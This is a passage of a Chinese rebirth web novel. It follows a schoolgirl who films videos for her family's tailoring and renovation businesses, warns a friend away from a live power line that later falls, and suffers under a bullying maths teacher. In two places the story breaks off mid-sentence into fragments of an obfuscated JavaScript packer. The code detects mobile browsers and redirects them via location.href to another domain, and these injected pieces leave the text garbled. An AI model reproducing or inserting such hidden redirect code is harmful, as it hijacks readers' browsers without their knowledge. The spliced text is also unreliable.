正因如此,周玲在整理学生的学籍信息时,偏偏能记得没有陆易宁的信息。 不过是个学籍信息嘛,去找原来的班主任对调一下不就成了。 至此,陆易宁终于可以心安理得的在七班上课。 初中的课程说不上太难,而且陆易宁早就在小学学过几遍了,还能应付。 陆易宁每天除了花在数学的时间长一点,其余的科目随便学学也不太累。 她现在需要做的也是学习,不过不是学校里的学习,是办公软件的学习。 陆易宁在贴吧微博等社交媒体上都分别注册了两个账号,一个是绣鹿裁缝店的账号,一个是陆平装修团队的账号。 现在智能手机已经开始流行了,陆易宁每天在网吧里跟网上的大神学习拍摄手法,用陆平的智能机练习拍vlog。基础的剪辑她会,就是P图不太行。 为此,又专门下载PS学习P图来给裁缝店做广告。 前期压根没粉丝,陆易宁也没想过现在就靠网络来赚钱。 目前的物流产业还未触及乡镇,连县城都没几个快递点。 就算网上有人下单订制做衣服,也没那个条件去搞个物流运输。 前期,陆易宁拍摄的全是刘秀珍教做衣服的视频,没有写脚本,拿着手机就开拍。学习了更多拍摄手法后,正规一点了,开始写脚本写文案。 手机像素不行,陆宁只能尽量美化。 反正也没粉丝,隔三差五就上传一条视频,全当练手了。 刘秀珍以为她在网吧里看网课学习,她看的确实也是网课。 上学期期末考试,陆易宁的成绩位于全年级二十五名。 她小考的成绩在新生排名里是前三,显然,这个成绩在老师眼里算低的。 郑煦的名次排在全级十三,总分比陆易宁的高了三十多分。 陆易安的成绩处于中下游,别说妹妹考了二十五名,就算是前一百名,她都觉得很了不起了。 学校召开期末总结大会,所有学生吹着寒风,站在操场上。 听完校长讲话,接下来就是给好学生颁发奖状。 每个年级前十名的学生都要上主席台领奖,年级单科第一的学生也要上台。 陆易宁的英语,历史还有生物是年级第一,手里拿着三张奖状站在主席台上拍照。 陆易安在台下看着,站在身后的同学走上前,用下巴抵着她的肩膀问:“七年级得了三门单科第一的那个人是你妹妹吗?” “对啊。”陆易安从来不会嫉妒妹妹的优秀,她巴不得炫耀呢,“wuli名字,陆易安;wuli二妹,陆二安;wuli三妹,陆三安。” 小孩姐最近在看韩剧《来自星星的你》,专门模仿电视剧里女主说话的语气。 “神经病。”女同学推了陆易安一巴掌,退回原位。 对于二十五名的这个成绩,陆平是满意的。 大女儿五十分的单科成绩看起来太烧心了,陆平拿着陆易宁的成绩单坐在沙发椅上看,心里终于好受了一点。 一共八门课,语数外每科满分一百五,其余科目单科满分一百。陆易宁的英语得了一百四十六,生物和历史各得了九十六分。 这几科的分太拔尖了,别的分就需要往下调一调。 数学九十二,语文一百零三,地理和政治再考个七八十,总分就掉下来了。 陆平感叹道:“好啊,好啊,以后两年稳住这个排名,就能进一中了。” 学校里凡是在全年级排名八十名以内的都有机会进县城一中,五十名以内的更是不用担心。 一旦进了一中,就代表着有拼一本大学甚至是重点大学的希望。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498674|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但是陆易宁担心了,她才不想进一中。 陆易宁看着电视说:“万一我不想读一中呢?” “哎哟,我二女儿的志向还远得很。”陆平一拍大腿,“不想读县一中,那就加把劲去读市一中。” “……” 算了,还是自己默默努力,尽量考前两世读的学校吧。 她想去的高中是去年才开始招生的高中,教育局扶持建立的一所新中学——育才实验高中。 这所学校上一年才开始招生,它的录取分数不高,去读的学生几乎都是分低的,而且第一届学生现在才读高二,还没参加高考,更别提什么名牌大学录取率了。 陆易宁这一世在某些事上是一个懒得改变,懒得适应环境的人。 第一世她的中考成绩并不优秀,满分七百分,她考了四百三十多,比一中的分数线低一百分多分,连县城里录取分最低的老牌高中三中都不能去。 只能跟在陆易安的身后,去了新的高中。 教好学生容易,带差生难。 陆易宁选择去新高中还有一个原因是,它带出去的第一届学生里,中考分数最高的才四百三,最后的高考成绩居然能达到五百八,还是理科生。 不仅如此,它招收进去的学生清一色三百多的中考分数,这种低分学生压根不能进县城里任何一所好一点的高中,大多都只能去读中专。 但是毕业时,这批学生的本科上线率达到了百分之四十三。中考三百分,高考五百,突破一本线的学生都有好几个。 学校是新学校,老师是新老师,一群刚入社会的新老师碰上一群被抛弃的差生,被丢在一个不被看好的环境中,两个群体相互磨合,一起拼劲儿。 陆易宁第一世高考,理科考了四百四,省内的录取分数线低,她对这个成绩是满意的。第二世,四百九十八,她对这个成绩无感。 这一世,她当然也要去这所学校。毕竟里面的老师大多是正常人,而且很有耐心。 第一世的高中生活于她而言很不错,她才懒得换个学校换个环境,再去适应一批老师的教学方式。 初中分班时之所以乱跑,也是怕碰上三班数学老师那种人。 路上看见屎就别想着正面面对了,绕道走就是。 56.五十六章 陆易宁坚持拍视频,假期中,甚至要和陆平去装修现场,跟着拍素材,用来剪辑房屋的转场视频。 初中生的作业本来就多,她差点将自己转成陀螺了。 拍视频,运营账号,做装修团队的广告图,一有空就跑去县城里的打印店打印广告,贴在裁缝店门口,网吧门口,或者是拿到大街上去发。 乡镇的房屋装修是请不了设计师的,房屋的装修风格很单一,全凭师傅的装修经验。 为了帮陆平的装修团队杀出重围,陆易宁一有空就逼着父亲和自己上网学习房屋不同的装修风格。 父亲认识的字不多?没关系,那就学绘图软件上的字,什么CAD,该学就学。 听不懂网上的教程?陆易宁学来教他。 陆平一个电脑白痴,在陆易宁的压迫下,一年多了,终于学会了绘图软件的基本使用,并且能画能看懂施工图了。 父亲画图,她P图,设计广告,虽然不精致,但是在小县城足够用。 团队接单的费用也提升上去了,毕竟有设计费在内。 半年内,陆平接到的活就有八家,忙不过来,团队里人手不够,郑松加入进来做了两个月。 修桥的工活重新启动,郑松又去修桥,郑松走了,没办法,团队里只能添新人。 在小地方做工活,人们是不会讲定金的,全靠自觉。陆平以前给两户人家装修,五年了,工钱都还没收回来。 为此,陆易宁每次在父亲开工前,都会拟一份装修合同,里面必有付定金的条款。 如果碰到耍赖皮的,一告一个准。 之前陆平不信邪,觉得她小题大做,直到装修团队花了两个月的时间在县城边上给一户人家装了个古色古香的大房子,人家一直推脱不付尾款。 陆易宁收集好证据,带着父亲去法院一告,业主刚开始的态度很强硬,后来差点被强制执行,老实了,把钱付了。 陆平和刘秀珍越发觉得自己生了个天才。 怎么一个初中生懂得那么多? 陆易宁谦虚地说都是在网上学的。 只是……顾着学习别的本领,书本知识却落下了。 初一上学期,陆易宁好歹能考进前年级五十名。到了下学期,就开始倒退了,退到了七十多名。 初二上学期更甚,学了物理之后,前一百名都进不了。 郑煦一直在全年级前二十名内待着。 家附近的大人们都在说,陆易宁小学的时候每次考试都比郑煦厉害,怎么一进初中,就熄火了。 看来女生在学习方面的冲劲比男生差远了,女孩子还是不行。 陆易宁当场怼回去,觉得这句话纯属在放屁,她没本事不代表别的女生没本事。 对于成绩下降,陆易宁倒不怎么放在心上,这可把陆平和刘秀珍急得团团转。不仅不要她再店里帮忙,还专门请去年考上了川大的周星来开导她,教她学习方法。 周星是理科生,陆易宁听了他的方法,顺便忽悠他,把他高中的学习资料全借过来看。 看起来很有效,其实没有用。 她的成绩已经彻底沦为了中等。 她依旧每天在网吧学习,看网课,不过只有自己知道看的是高中知识点。 连郑煦都有点看不下去了,别人是不努力则退,她是越努力越废。 陆易安的中考已经结束,过几天就是陆易宁八年级下学期的期末考。 比起期末考,陆易宁更担心郑煦的胳膊。 那家伙喜欢打篮球,被电击中导致左手截肢,怎么想对他都是一种残忍。 前两世陆易宁没本事,只能眼睁睁地看着赵倩阿姨哭,这一世既然能救回郑叔叔,也该帮一下郑煦。 六月雨水充沛,前脚入夏,雷雨暴雨冰雹大风等天气后脚就跟上来了。 陆易宁记得上一世,郑煦被电击中的时间在八年级下学期,期末考试的第一天下午。原因是雷雨天气刮大风,电线杆上的电线松动,郑煦从学校回家时,倒了大霉,被掉下来的电线打到了左手。 陆易宁查了明天的天气预报,大风天气。 而且,老妈的手机已经收到了气象台的暴雨红色预警,大风蓝色预警信息。 现在是下午六点,外面还出着太阳,没有任何要下雨的迹象。 管它呢,晚上才下雨,先去把事做了。 陆易宁回家收好自己定制的横幅还有警告牌,去了上游街。 初中学校位于街口,这半条街只有校门口的店铺多一点,住户多一点,别的地方的房屋建筑都是稀稀拉拉的。 每天只有上下学的时间点,这条道上的人才多。 现在六点半了,明天又要考试,不上晚自习,所以路上根本没什么人,就是几只家雀在路上跳来跳去,还有马路边的一栋小平房门口,有个老人坐在家门口发呆。 陆易宁走到会发生事故的电线杆旁边,讲真的,她心里有点虚。 她也怕上方的电线出了事,郑煦倒是没事,自己先交代在这。 陆易宁放下书包,在老人的注视下,将警告牌立在电线杆旁边,把提前制作的横幅拿出来。 老大爷眯着眼睛,伸长脖子看马路对面电线杆旁边的黄色警告牌,“小姑娘,你那个牌子上写的哪样东西哦?” “就是……” 陆易宁忙着将横幅边缘的绳索系在电线杆上,深怕现在就出事,这头完事,赶紧跑去前面十米处的白杨树底下系另一头,连老人的问题都没回答完。 老人看陆易宁将横幅系好,又问:“你那个是预防触电用的吗?” “啊?”陆易宁跑到马路的另一侧,正面看着自己系的横幅,回道:“嗯。” 红色的横幅上写着几个大字,“漏电危险!此处暂时不能通行,请走马路另一侧!” 而黄色的警告牌就立在即将出事的电线杆旁边。 陆易宁稍微松了一口气,老大爷又说:“你那个牌牌放在马路上,风一吹就倒了。” 陆易宁何尝没有想过,她就是暂时看一下,待会会去路边搬两个大石头来压着警告牌的底端。 老大爷站起身,回屋了,没一会就搬了两块水泥砖过来,而陆易宁刚从对面搬来两块说大不大的石头。 “来,用这个。”老大爷招手喊她过去,“这两块砖有砖洞,你那个牌牌插在这个砖洞里,再用石头盖着洞口,不容易被风吹跑。” “诶,好,谢谢大爷!”陆易宁按照大爷的方式插好警示牌,警示牌双面都有字,从右边走来或者是左边走来都能看见。 “还是你们读书的脑子好用。”老大爷叹道:“立个牌牌,就没人敢走那边了。不像我,只能守在这,靠嘴巴喊。” 这话有点信息量。 陆易宁走到老大爷家门口,指着电线杆顶端问:“大爷,你知道那里会出事?” “我昨天就听见滋滋滋响了,打电话喊人来修,人早上来修了,结果中午又开始响了。” 陆易宁双腿立马软了,她刚才还在电线杆底下跑来跑去的,还好,没漏电。 郑煦打完篮球,出校门走了几分钟,就看见马路中间,靠近电线杆的地方有块警示牌上提醒靠右行走。 他跟着上面的指示,靠右行走,正觉得这块牌子有点眼熟的时候,就看见了陆易宁在跟一位老大爷在街边聊天。 郑煦走到老大爷家门口,“你怎么还没回家?今天又不用上晚自习。” 陆易宁抱着手,“你还不是现在才回家。” 郑煦的眼珠子在陆易宁和警示牌两者之间来回转,转了几次,突然想起来。 他就说这块牌子怎么这么眼熟,原来是他上个星期看见陆易宁提着它回家。 他当时还在家门口问她提个提醒触电的牌子干嘛,她没回答。 原来是放在路上当路障啊! “这里是漏电了吗?”郑煦问。 “啊,大爷说有点漏了。” “但是这个牌子不是你上个星期捡来的吗?你怎么知道要漏电?还提前捡个牌子放家里。” 谁说是捡来的,这是自己花钱请人做的好吗? 陆易宁随口一说,“这是老大爷昨天看见漏电,请人做的,什么我捡的。” 老大爷摇头,“不是哦,这牌牌还有那个红横幅不是你刚才拿来的吗?” 陆易宁不想扯了,背着书包往右边走。 “你该不会,会算命吧?”郑煦跟上来,“你是不是偷偷学什么卜卦,算到会漏电,所以提前搞个牌子来当路障!” 陆易宁敷衍道:“啊,对对对,我就是会算命。你信吗?” 说十分相信,倒不至于。但是说不信,根据她以前做过的事来看,又有点相信。 郑煦记得清清的,二年级开学头一天,她大清早骗自己去学校报名,然后自己玩躲猫猫躲到父亲开的车上,成功帮父亲避免了把车开到塌坑区域的危险。 那天起,他就觉得陆易宁是有些玄学在身上的。 “你不会是李淳风隐于市的弟子吧?”郑煦跟个二傻子一样问个不停,“还是你其实是袁天罡的徒弟?” 既然他都这样说了,陆易宁也没什么好藏着掖着的,只能顺着他的话说:“你说的都对,他们两个都是我师父。所以你明天一定不要从漏电的那个地方过。因为我算到,你会被掉下来的电线打中手!” “啊……”郑煦有点后怕了,“看来我明天真的要远离那个地方。” 怕他不上心,陆易宁又一脸严肃地说:“我是说真的。” 郑煦拍了拍胸口,“我也是说真的。” 考试一共考三天,上午下午各考一科。 第一天下午考的是物理。 陆易宁看着空了的几道大题,没想着解题,先看了一眼手表。 还有十分钟就可以提前交卷了。 上一世,郑煦就是因为提前交卷,回家去拿新买的篮球来学校打才被电线击中的。 十分钟过去,陆易宁交卷,可是监考老师是自己的语文老师,看她空着的大题有点多,不准她交卷。 没办法,陆易宁只能随便写了,过程写了一半,答案全是错的。 好歹能交卷了。 昨天晚上下过雨,路面现在已经干了。 陆易宁跑了一分钟,隔远看见路中间放的警示牌的地方,居然只剩下一块砖头和两个石头! “靠!早上还在的呀!”陆易宁加快速度跑过去。 陆易宁不敢跑去电线杆旁边找警示牌,只能隔得远远 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陆易宁提醒了几个边走路边玩手机的同学,让他们离电线杆远点。 郑煦看着她,只有一个想法。 装得像模像样的。 一阵风吹来,地上的灰尘被带到眼睛里,陆易宁撇开头,在揉眼睛的同时,对面滋滋滋响了一阵后,一股电线被烧焦的气味飘过来。 陆易宁用力眨着眼睛,只看见电线杆上的一根电线带着火花从上掉到地面,电流的声音在地面上嘶嘶作响。 陆易宁的大脑有些短路了,她现在距离电线杆不过是七八米远。 大脑不断搜索着网上说的变压器出现漏电的情况,如果在漏电区域,如何自救。 这时,边上的几位同学看着地上的电线,若无其事地从陆易宁面前经过。 陆易宁将即将离开地面的左脚放下,对哦,这里的电线电压不高,如果不是与人直接接触,伤害性不大。 “我靠!还真掉了!”郑煦转头惊讶地看着陆易宁,“真被你说中了!难不成你真的会算命?” “当然。”陆易宁一本正经地点了点头。 “那你帮我算算,我……我以后能不能打进NBA?” 这还用算吗? 陆易宁笑了笑,“你认真的吗?” 郑煦:“……” “不过……我可以给帮你算电视剧的后续剧情,保证把编剧的故事线算得明明白白。” “我又不看电视剧。”郑煦嫌弃地说:“而且你这个人说谁谁死,我怀疑那些角色是被你算死的。” 不仅是虚拟角色,郑煦觉得在现实生活中她也有点神。 郑煦记得有一次在她家和她们三姊妹看电影频道放的电影,看得正在兴头上,陆大伯一回家,就霸占电视机看新闻联播。 陆大伯指着省台新闻联播里的一个姓陆的大领导对他们说:“你们看,这个大官还是我们本家。” 被霸占了看电影的时间,陆易宁只是厌烦地说了一句:“什么本家,过段时间打老虎打苍蝇,打的就是他。” 当时没人放心上,结果没两个月,郑煦偷偷跑去网吧,一打开电脑,某陆姓公职人员涉嫌严重违纪违法被调查的新闻就弹了出来,没多久涉案人员就就被双开,入了狱。紧跟着,教育局局长被调查,县委书记一系列人也跟着被查。 苍蝇打了一堆,县里来了一次大换血,停工已久的工程又开始了。修路也不仅仅是往水泥路上浇沥青,原来的泥路只要下雨,寸步难行,最近也在慢慢变宽,朝着另一截水泥路逼近。 而且,这一次动工没有任何要停工的迹象。据说,除了修桥修路以外,县里还要建一个高铁站。 还有一次,陆果果看电视,特别喜欢一个男明星,陆易宁当场说他会家暴,而且偷税漏税,两个月后媒体爆出了男明星家暴的新闻,半年后,又爆他偷税漏税。 郑煦有时候都在怀疑她是不是穿越过。 “哦!”陆易宁吸了一口气,平静地说:“你的不良帅会死。” “???!!!” “没错,是死在李星云的龙泉剑下。” 不良帅是郑煦之前追的动漫《不良人》里活了三百年的战力巅峰,关键人物,男主李星云则是郑煦口中的废物男主。 郑煦压根不信,“怎么可能?” 陆易宁:“我可以给你分析编剧的故事情节安排的呀!” “我才不信!” “而且最后李嗣源当了皇帝。” “豁!”郑煦觉得她说得越来越离谱,“你再编,再编嘛。” “这有什么好编的。”陆易宁有些无语,“你全级前二十的成绩是怎么考的?但凡多了解五代十国的历史,就知道李存勖死后,李嗣源是后唐的第二位皇帝啊!” “李存勖?不良人里有这号人物吗?” 陆易宁:…… “他也是晋王李克用的儿子。” 陆易宁开始分析不良帅为何会死,两人一直在路边争论,直到有人来修理断了的电线,陆易宁才停止剧透,抱着自己做的警示牌回家。 57.五十七 章 2015年六月,陆易安参加中考。 满分七百,她考了四百零一。 要想考大学,在方安县,中考结束后,学生只能去四所高中,即一中至四中。 余下的高中每年本科上线率有限,大部分学生走的都是单招的路。 一中的录取分常年在五百六十分以上,二中五百四,四中五百,三中四百七。四所学校与好大学的距离与它的录取分数成正比,录取分越高,越有希望考进好大学。 陆易安的成绩明显不在老牌高中的录取分行列。 她对自己的能力有认知,中考前高中老师来学校招生时,她早就想好了自己的去处——育才实验高中。 这所学校刚成立了三年,学校里的第一届学生今年才高考。招生老师来学校宣传时,别的学校的老师都有往年学生的高考成绩和本科录取率作为宣传噱头,就这所学校,用的是学生的月考成绩和联考成绩。 招生老师信誓旦旦地保证,今年高考成绩一出来,学校第一届学生肯定有上好大学的。 听招生老师一说,陆易安反倒觉得这个学校有点意思,它比不上老牌高中,或许能比别的高中好一点呢。 陆易安决定了,去育才实验高中。 陆平想让她复读,她不愿,没办法,只能七月初带着她去学校报名。 此时高考分数已经出来了。 陆平和陆易安看见校门外贴着的高考喜报,除了高考分数以外,还多了一列学生中考进来的分数。 理科最高分五百八十七,文科六百零二。 这两位同学中考进来的分数分别是四百三十三和四百四十九, 除此之外,还有八个学生中考进来的分数还没四百分,高考居然过了一本线,有个女生更厉害,中考三百七,高考五百二。 总的来说,本科上线率百分之四十多。 陆易安觉得押对宝的同时更是震惊,“这些逆袭的学生得学成什么样啊?” 陆平还是觉得不太行,在他眼里,只要没被大学录取,就算不上定数,分数不能说明一切。 奈何女儿想来学校,他只能帮她把名报了。 报了名又如何,只要不来参加军训,报名费可以退,重新回初中复读,还是有机会去比较好的学校。 高一新生的军训报道时间集中在八月十五号至十六号,军训一个星期,回家再休息一个星期,八月三十一号正式开学。 初三生的假期不多,需要提前半个月开学。 陆易安军训的第一天,就是陆易宁初三开学第一天。 高中已经报名了,军训也要开始了,陆平这个时候还在纠结到底要不要找个关系,给初中学校的领导送送礼,让陆易安复读,星期一和陆易宁去读初三。 老父亲在楼下为了女儿复读和升学的事头疼不已,连最喜欢吃的西瓜也没胃口吃下去。陆易安在楼上一会儿哭一会笑的,跟头脑受了刺激似的。 陆易宁坐在门口吃西瓜,被陆易安的声音和父亲纠结的叹气声闹得心烦,“哎哟,爸,她想去读高中就去读呗。”陆易宁站起身,看向阳台,陆易安的笑声又传出来,没一会儿又变成了哭声,“你看她那个样子,她不想复读,就算复读一年,能读出什么来?” 陆平坐在沙发椅上,仰着头看天花板,“那所学校我看着有点悬啊?” “不是说今年的高考本科率还行吗?” “分数过了,也要被录取了再说。” 陆易宁三两口把西瓜吃完,去后院洗完手,跑到父亲跟前伸出手,“现在学生的录取通知基本都收到了,手机给我,我帮你查。” 陆平拿出手机,陆易宁打开育才实验高中的官网,上一次更新时间还是在一个多月之前,哪有学生的录取学校汇总。 陆易宁:…… “你放心好了,这所学校都能把分低的学生教出去,里面的老师肯定是尽职尽责的。” “唉!我是担心陆安安。”陆平重重叹了一口气,“她面上看起来轻松,但是中考没考好,读不了好的高中,实际上心里的压力大的很,不然也不会哭了。” “什么?你觉得我姐现在是因为中考成绩在哭?”陆易宁突然觉得压力最大,被逼疯了的人是老爸,“她但凡要哭,中考成绩出来当天就哭了,现在哭什么?” “能哭什么?哭不能去好高中啊!”陆平说:“我这几天看她每天都在看书学习,可能她也是想考一所好学校吧,只不过努力的时间有点晚了。” “她看书学习?”陆易宁一脸懵,“我怎么不知道。” 陆易安又开始哭了,陆易宁走到门口,抬起头对着阳台喊:“陆安安,你在做哪样?” “看书。” 看书这个词飘到陆平的耳朵里,陆平走出门,大声安慰道:“不要紧的,幺儿,中考考不好没得事,我们复读,明年考个好学校。” 陆易安抽泣着说:“我才不复读。” 陆平:“那就去高中里面好好努力,好好学习,不要哭,以后加油就行了。” 陆易宁觉得有鬼,陆易安能看书学习学哭了?鬼才信。 立马跑上二楼,陆易安听见步子声,连忙把桌上的书合拢放回书架上,随便拿了一本九年级下学期的数学书摆在桌子上。 “我去!”陆易宁仿佛看见了脏东西附身在陆易安身上,“你没事儿吧?真的在学习?还被数学题难哭了!” “滚!别打扰我!” 陆易安眼睛红肿,桌上她擦眼泪的纸巾能堆成一座小山。 陆易宁轻轻把门关上,站在门口,难以置信地摇了摇头。 怎么可能呢? 第二天,陆平终究是带着陆易安去高中参加军训了,顺便在县城里给陆易安买了一部智能手机。 …… 周一,新学期开始,早上第二节课结束,课间操的时间,老师和同学们收到广播通知,去操场上开大会。 站在太阳底下又是听主席台上的校领导说车轱辘话。 讲得无非是上一届初三的学生有多少个考进了一中,有哪些去了市一中,然后鼓动新一届的初三生努力学习,不要输给师哥师姐。 被晒了将近一个小时,回到教室里,每个人的脸都是红红的。 两年的时间,兜兜转转,换了几个同桌,陆易宁的同桌又成了陈思云。 陆易宁上完厕所回来,同桌就问:“你知道我们新的数学老师是谁吗?” 数学老师请了产假,这个学期要换数学老师陆易宁是知道的,不过不知道是谁。 这节课是物理课,陆易宁擦干手,把物理的假期作业拿出来,“是谁啊?” 同桌生无可恋地摇头,“三班的班主任,邓林华!他们都说那个老师有点大病,教数学男生靠打,女生靠骂!” “什么?!!”陆易宁差点吼出来,都两年了,怎么还能撞上那个家伙。 不对呀,第一世也没听邓林华在班里说过带了七班数学的事。 照邓林华的脾气,别的老师请他帮忙带一节课他都会在班里吹嘘成自己能力强,别的老师太看得起他,才会请他代课。 如果上了七班的数学课,他肯定会在班上吹大牛说校领导信服他的教学能力的。 上节课是数学课,已经被开大会占用了。周一一整天,陆易宁没看见邓林华来班上,正以为是不是同桌听了假消息时,第二天早上第二节课的上课预铃结束,门口响起了一串钥匙撞击的声音,彻底否定了陆易宁的猜想。 邓林华走到教室门口,身上的钥匙声便是他的标志声音。 无语了。 没一会,一穿着灰色西装衬衫,体型微胖,脑袋半秃,肤色黝黑的男老师走进教室。 凌厉的目光扫了教室一圈,学生们立马安静。 邓林华走到讲台上,一脸不耐烦,“上课了你们不知道吗?都初三了,还需要我教你们纪律吗?我教的三班,每次上课预铃还没响,教室里就没人敢发出任何声音!” 陆易宁耷着脸,放屁,第一世每次你一进教室你说的就是全校最吵的就是三班! 第二道上课铃声响了,邓林华将灰色的手提包放在课桌上,看见课桌上的粉笔灰,一脸嫌弃,拿着抹布一阵拍打,粉笔灰全飞在坐在讲台下方前两排的学生脸上。 “连个值日都做不好。”邓林华拿出九年级下册的数学书,简单说明来意,“杜老师回家生小孩去了,你们班的数学暂时由我教。如果不是校长再三请我来,我压根不想带第三个班。我这个人厌蠢,如果你们太笨的话,我随便把你们踹开,也没人敢说我什么。” 教室里的气氛黑压压的,落针可闻,他的大名,学生们如雷贯耳,出了名的脾气差。 邓林华一眼望去,学生手里的教材全是上学期的,“你们不知道这半个学期要上下学期的课程内容吗?” 学校的教学安排是九年级上册就把整个初三的内容学完,下学期用来进行总复习。学校提前开学,别说下册的课本,上册的课本都还没来呢。学生们手上的书清一色是向上一届学生借的老书。 班长举手,“老师,我们上册的数学还没学完,学到了反比例函数。” “你们班这么慢的吗?”邓林华更烦闷了,“我教的三班和五班都上到了下学期的二次函数了。杜老师的这个数学是怎么教的?怀了孕,头脑思维也跟着慢了吗?” 陆易宁冷笑,呵,就你那个进度,除了班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513219|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上前十名的学生,谁跟得上你啊? 邓林华只好按照七班的进度来,为了赶进度,速度飞快。 学生跟不上?那就不是好学生,不就是进度快了一点嘛,这都跟不上,要么说明不认真,要么说明人笨。 中考筛的就是这群人。 几天下来,班上成绩好的学生在他眼里是书呆子,一般的学生笨得跟猪一样,永远比不上他教的三班和五班。 成绩好的学生上黑板做题,超了几秒钟,就被当成笨蛋,不配中考。做不出来的,更是快滚,多在黑板上待一秒,就会变成蠢猪。 郑煦上黑板做题,不过手插在兜里,立马被骂不尊重老师,就算算出答案,态度也被认为不认真,进了高中也是被刷的命。 几天下来,原本以为能考一中的学生,被打压得抬不起头,别的更别提了。 连郑煦这个时常嬉皮笑脸的人在他跟前,都不敢笑了。 被数学课折磨了一节课后,郑煦跑过来坐在陆易宁前桌的位置上,“陆易宁,我总算明白了你初一为什么想转班了?” “这只是日常啦。”作为过来人,陆易宁深有体会,“你信不信,这次月考,我们班的同学如果考得好,那可能还差不多。如果考不好,我们班以往数学年级前三的成绩,在他眼里全是狗屁,我们一个班的学生以前都是作弊才考的高分。” “我觉得很有可能。” 郑煦点点头,毕竟刚才的数学课上,数学课代表不过看错已知条件,说错了答案,就被他骂上学期期末考的数学成绩是作弊考出来的。 一周还没结束,班上的同学叫苦连天,纷纷向班主任吐槽受不了新的数学老师。 周玲试着和邓林华沟通,反被指责不尊重他的教学方式,还被踩了一脚,被嘲笑自己年轻,教不了好的学生。 没办法,周玲只能请校领导另外调了一个数学老师来上班里的数学。 …… 军训结束,得益于海拔高,紫外线比较强,陆易安几天的时间就被晒黑了不少。 陆易宁和郑煦早上补完课,回到家时,正好看见陆果果和郑乐悠在门口用手机看动画。 “手机是谁的?”郑煦冲过去把手机抢到手里打量,郑乐悠一边捶他的腿一边哭,“快给我!” 她们用的手机是一部白色的小米手机,陆易宁一看就知道是陆易安的新手机。 陆易安在楼上听见郑煦的声音,急忙跑到阳台上往下看,“陆七七,快上来,我给你买了一样东西。” “豁!”郑煦抬起头,被吓得往后退,“你家阳台上长了个包青天!” 陆易宁也被吓了一跳,陆易安最黑的时候莫过于现在,“以后报官尽管来我家。” “屈打成招的话,要判多少冤假错案呐。” “信不信我吐口水淋你们俩的脸?”陆易安面色一沉,“陆七七,快上楼。” 陆易宁跑上二楼,陆易安坐在她的床上,背后好像藏着什么。 “你买了什么?”陆易宁把书包放在书桌上。 “当当当当。”陆易安拿出来。 是一个月白色的钱包,PU材料制成,大约二十厘米长,只有正中间绣了一个指头大小的白兔吃胡萝卜的图案。是她喜欢的简约风格, 陆易宁打开钱包,里面除了装钱的两个夹层之外,另一侧还有不少卡位。 “你为什么想着买钱包给我?” 陆易安黝黑的面庞,笑容却明亮,“这样的话你的零花钱有地方放了啊。” “哦……嗯?”陆易宁的视线快速扭转至书架上的《活着》这本小说,“你看我书了?” “老师说要多看名著啊。”陆易安起身把小说拿过来,“怪不得说书中自有黄金屋呢,我看的时候,哭得正起劲,耶~下一秒就看见红花花的一百块,再哭一会儿,又来一张五十的,接着又是一百的,害得我又哭又笑的。” “难怪这本书你不常看,很好哭哦,哭一次就够了,正好用来当存钱罐。” 陆易宁扶额,这家伙上个星期看书一会哭一会笑的,自己和老爸还以为她在为学习苦恼,感情是找到了自己的存钱罐。 “给我。”陆易宁把书拿到手里,将里面夹着的钱全部抽出来,数额不对,“还差十块。” “我拿的。”陆易安理直气壮地说:“我给你买这个钱包就花了四十,本来想给你们带奶茶的,都没钱买,还要坐车付车费,我回到家一分钱都没了。拿点钱买点辣条和雪糕,我和陆果果郑优优分着吃不行啊。” 陆易宁:“其实少了五十。” 陆易安:“你再乱编!我就拿了十块!不过我有点想吃小笼包,再给我十块。” 陆易宁:…… 58.五十八章 罗伟家养的猪又生小猪崽了。 罗玉美在喂另一个猪圈里的大猪,郑乐悠去她家里玩,站在另一个猪圈外面,盯着圈里睡在母猪肚子前面的一群小猪崽看,“小猪崽好干净啊,比别的猪漂亮多了。” 罗玉美提起剩下的小的半桶猪食,全部倒进猪槽里,“它刚从猪肚子里出来,肯定是干净的。就跟小宝宝一样,刚生出来全身都是白白嫩嫩的。” 四岁的郑乐悠懵懵懂懂地说:“才不是,小孩子都是捡来的。” “谁说的?” 郑乐悠掷地有声,“安安姐姐说的。” 罗玉美将手里的猪食桶放在圈门口,无奈地叹了叹气。 她小时候还没读学前班时,斜对面的陆易安就骗她说她是爸妈在厕所里捡来养的。 在陆易安的嘴巴里,郑煦,陆果果,郑乐悠全是父母捡来的。 罗玉美否定了郑乐悠的来历,郑乐悠跑回家,推开哥哥房间的门,扯着在做试卷的郑煦的袖子问:“我真的是爸爸捡来的吗?” 郑煦忙着刷题,敷衍道:“是,你就是老爸从菜地捡来的,跟陆安安一样。只不过陆安安的妈妈是白菜,你的亲妈是莴苣菜,你不是我亲妹。” 从未正视过自己来历的郑乐悠宛如晴天霹雳一般。 她只知道自己是爸爸在菜地里捡来的,老妈是莴苣菜她并不清楚。 郑乐悠怔怔地发了一会儿呆,垂着头去隔壁找陆易宁。 如果连七七姐都说她的妈妈是莴苣菜,那她就真的是菜生的。 而此时的陆易宁正撅着肚子在去超市的路上。 中午正做着作业呢,肚子一阵疼,感觉肚子里像是被一个秤砣压着一般。 这辈子第一次来生理期,陆易宁跑去父母的房间找卫生巾,只找到了一片,老妈还没补货,没办法,只能自己去买。 十分钟的路程,肚子一阵一阵地坠着疼。 天气已经变凉了,脸上的冷汗冒出来,被冷风一吹,异常冰冷。 